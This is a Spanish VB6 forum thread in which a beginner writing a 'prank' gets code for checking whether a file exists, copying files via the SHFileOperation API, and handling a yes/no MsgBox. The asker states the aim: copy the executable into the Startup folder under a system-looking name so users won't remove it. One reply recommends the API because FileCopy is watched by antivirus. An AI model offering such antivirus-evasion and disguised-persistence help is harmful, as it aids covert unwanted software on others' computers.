estoy programando una broma y me gustaria saber como puedo comprobar si un archivo existe, y en caso de que no existiera copiar un archivo, tambien (si no es mucho pedir) me gustaria saber como puedo hacer que segun que boton se apriete en un msgbox (del tipo vbyesno) haga una cosa u otra
muchas gracias por adelantado
bueno este code te permite verificar si un file existe
Public Function FileExists(strPath As String) As Boolean ' verifica si un archivo existe
On Error Resume Next
If Len(strPath) < 4 Then
FileExists = False
Exit Function
End If
FileExists = IIf(Dir(strPath, _
vbArchive + vbHidden + vbNormal + vbReadOnly + vbSystem) <> "", True, False)
End Function
para copiar esta función, te aconsejo que uses APIs en lugar de las funciones del VB, la filecopy es bastante vigilada por avs
Option Explicit
Private Declare Function SHFileOperation Lib "shell32.dll" _
Alias "SHFileOperationA" ( _
lpFileOp As SHFILEOPSTRUCT) As Long
Private Type SHFILEOPSTRUCT
hWnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Long
fAnyOperationsAborted As Boolean
hNameMappings As Long
lpszProgressTitle As String
End Type
Private Enum eFO
FO_COPY = &H2&
FOF_NOCONFIRMATION = &H10&
FOF_NOCONFIRMMKDIR = &H200&
End Enum
Public Sub mCopyFile(sSource As String, sTarget As String) ' Procedimiento para Copiar un archivo
Dim SHFileOp As SHFILEOPSTRUCT
sSource = sSource & vbNullChar & vbNullChar
sTarget = sTarget & vbNullChar & vbNullChar
With SHFileOp
.wFunc = FO_COPY
.fFlags = FOF_NOCONFIRMMKDIR + FOF_NOCONFIRMATION
.hWnd = Form1.hWnd
.pFrom = sSource 'origen
.pTo = sTarget 'Destino
End With
Call SHFileOperation(SHFileOp)
End Sub
La funcion para copiar ficheros fichero esta muy bien :D, pero para verificar si un fichero existe creo que este metodo es 'mejor':
Option Explicit
Private Declare Function GetFileAttributes Lib "kernel32.dll" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Const FILE_ATTRIBUTE_ARCHIVE As Long = &H20
Public Function FileExist(ByVal sPath As String) As Boolean
If (GetFileAttributes(sPath) or FILE_ATTRIBUTE_ARCHIVE) > 0 Then
FileExist = True
End If
End Function
Private Sub Form_Load()
Debug.Print FileExist("C:\NTDETECT.COM")
End Sub
es verdad tu funcion Karcrack es mucho mejor es mas estetica, igualmente se podria hacer un fileexits con CreateFile, jeje, muchas gracias amigo
buff... como se nota que llevo 2 meses con visual jejeje no pillo nada,
intentare usar esos codigos pero he visto esto en el msdn, que parece mas sencillo.
al fin y al cabo se trata simplemente de copiar el ejecutable de la broma al directorio de inicio del menu de inicio y ponerle un nombre con aspecto de elemento critico del sistema para que la gente no lo borre
es decir el directorio de origen siempre seria el directorio desde donde se ejecuta y el directorio de destino tambien seria el mismo...
' Copy the file to a new location without overwriting existing file.
My.Computer.FileSystem.CopyFile( _
"C:\UserFiles\TestFiles\testFile.txt", _
"C:\UserFiles\TestFiles2\testFile.txt")
' Copy the file to a new folder, overwriting existing file.
My.Computer.FileSystem.CopyFile( _
"C:\UserFiles\TestFiles\testFile.txt", _
"C:\UserFiles\TestFiles2\testFile.txt", _
FileIO.UIOption.AllDialogs, _
FileIO.UICancelOption.DoNothing)
' Copy the file to a new folder and rename it.
My.Computer.FileSystem.CopyFile( _
"C:\UserFiles\TestFiles\testFile.txt", _
"C:\UserFiles\TestFiles2\NewFile.txt", _
FileIO.UIOption.AllDialogs, _
FileIO.UICancelOption.DoNothing)
con lo que en principio el codigo CREO que seria asi
My.Computer.FileSystem.CopyFile( _
".\*.exe", _ 'el ejecutable podria tener varios nombres
"c:\documents and settings\all users\menu inicio\programas\inicio\serviciosdered.exe ", _ ' por ponerle un nombre que parezca importante
FileIO.UIOption.AllDialogs, _
FileIO.UICancelOption.DoNothing)
que os parece?
Pero este código es para VB .NET y este es el subforo de VB6, por lo que los códigos que te pusieron arriba son los correctos.
Saludos. ;)
Wenas, para verificar si existe yo uso este:
Private Sub Command1_Click()
If Dir("C:\a.wav") <> "" Then
MsgBox "SI EXISTE"
Else
MsgBox "NO EXISTE"
End If
End Sub
un saludo ;)
me parece que no te han dicho como saber si dio clic en si o clic en no en un msgbox de tipo vbyesno..... ahi te va
Dim respuesta As Integer
respuesta = (MsgBox("Selecciona si o no", vbYesNo, "Titulo del msgbox"))
If respuesta = vbYes Then
MsgBox "Seleccionaste si"
Else
MsgBox "Seleccionaste no"
End If
lo que haces es que en la variable respuesta guardas el valor de la respuesta y despues se compara para saber que opcion dio el usuario